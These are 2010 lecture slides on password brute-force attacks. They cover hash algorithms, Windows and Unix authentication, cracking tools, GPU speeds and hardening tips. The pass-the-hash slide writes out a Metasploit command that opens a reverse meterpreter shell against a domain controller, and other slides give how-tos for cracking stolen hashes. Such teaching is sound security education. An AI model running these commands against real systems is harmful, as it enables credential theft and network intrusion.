Brute force

Andri Rebane

02.11.2010

whoami

- Working in Estonian Defence Forces
- In TUT since 2002
- Master (informatics) since 2006
- Currently a PhD student
- Not in Cyber Defence League
- Graduated the first CCDCOE/TUT module of cyber security

Concept

- Key – piece of information that determines the functional output of a cryptographic algorithm
- Search space – set of all possible solutions
- Brute force attack – systematically checking all possible keys until the correct key is found, in the worst case traversing the whole search space
- Salt – piece of information added to every string to be hashed

Cryptocraphic algorithms 1

- MDx series:
  - MD2, MD4, MD5 – cryptographically broken and unsuitable for further use
    - MD5 – 64 steps
  - MD6 – candidate for SHA-3, however already had a buffer overflow vulnerability, first known production use by Conficker.B

Cryptocraphic algorithms 2

- SHA-x series:
  - SHA-0/1 – mathematical weakness might exist, indicating that a stronger hash function would be desirable
  - SHA-2 – set of cryptographic hash functions (SHA-224, SHA-256, SHA-384, SHA-512), there are no successful attacks against SHA-2
    - SHA-1 and SHA-2 – 80 steps
  - SHA-3 – standard scheduled to year 2012

Authentication protocols 1

- Windows:
  - LM – obsolete, password chars limited to ANSI charset, password splitted into two parts and brute-forcable separately, only uppercase letters used
  - NTLM – obsolete, but widely used for backwards compatibility, vulnerable for replay attacks (pass-the-hash)
  - Kerberos – recommended, protected against eavesdropping and replay attacks

Authentication protocols 2

- Unix
  - Unshadowed passwords – publicly readable
  - Shadowed passwords
    - MD5 based – current default, 1biMft/Pr$Lo3zPpiltdLZrzx8t/mTy0
    - SHA512 based – transition in progress (PAM using from 31.12.2009)
    - Blowfish based

Brute force types 1

- Local brute force
  - Password hash stored in the local computer
  - Uses full power of CPU or GPU
  - Fast
- Network brute force
  - Attack is performed over the network (Internet)
  - Painfully slow
  - Used for SSH, FTP, web services etc

Brute force types 2

- „Brute“ brute force – check all the possbile keys
- Dictionary attack – uses words, names and common passphrases
- Hybrid attack – combines dictionary attack and brute force, uppercases some letters, adds some numbers, defined by user
  - Example – dict: „word“, hybrid: „Word“, „Word12“ etc

Network Brute Force how-to-s

- Nmap the target/network for the services and ports
- Don't brute force the service too hard (don't DDoS it).
- Consider the service might get a delay (timeouts) when responsing to brute force attack

Network Brute Force programs

- THC Hydra
- L0phtcrack
- Brutus

Local brute force how-to-s

- Make sure what type of hash do you have
- Check which password policy is enforced for hash generation (required complexity rules, usage of salts, mixing of algorithms etc)
- First try hashing services (like http://www.md5decrypter.co.uk/)
- Use the proper tools (CPU brute force is much slower than GPU brute force)

Local Brute Force programs

- Cain and Abel
- John the Ripper
- RainbowCrack
- Extreme GPU Bruteforcer
- MD5 Brute Forcer
- Saminside

Pass-the-hash

- Usable in domain environment
- Exploit a workstation in network
- Steal the user hash from the workstation
- Use the hash to pass it to the domain controller (for example with metasploit)
  - Example command: exploit -p windows/meterpreter/reverse_tcp -o LHOST=MyComputer, LPORT=MyPort, RHOST=DCIP, SMBUser=DomainUser, SMBPass=Hash -j -z

GPU Brute Force

- Extreme GPU Bruteforcer
- Tests on a single Nvidia GTX460:
  - MD5 – 550M p/s
  - SHA-1 – 264M p/s
  - MySQL – 1900M p/s
  - NTLM – 810M p/s

Hardening Windows

- Don’t leave your computer unattended
- Disable LM (default disabled since Vista)
- If possible, don’t use NTLM
- Disable password caching in domain

Hardening Linux (debian)

- Default MD5, example: 1biMft/Pr$Lo3zPpiltdLZrzx8t/mTy0
- SHA512, example: 6qjc5gFgK$vaz/gLKMyDuhsVOU2oVIkDZrD0.reJM.2Ft3CMEoAsjN/lenvHC2ls6g/MY1ZaYaYBP3HHDOxel1dvTerl17q1
- Increase rounds to calculate, default 5000, takes milliseconds, 1M takes seconds.
- http://twerner.blogspot.com/2010/01/improving-password-security-in-debian.html

Hardening services

- Use username and password field names that change
- Use a response timeout for logon request
- Require users to have complex passwords
- Monitor your system log to find brute force attacks

Thank you!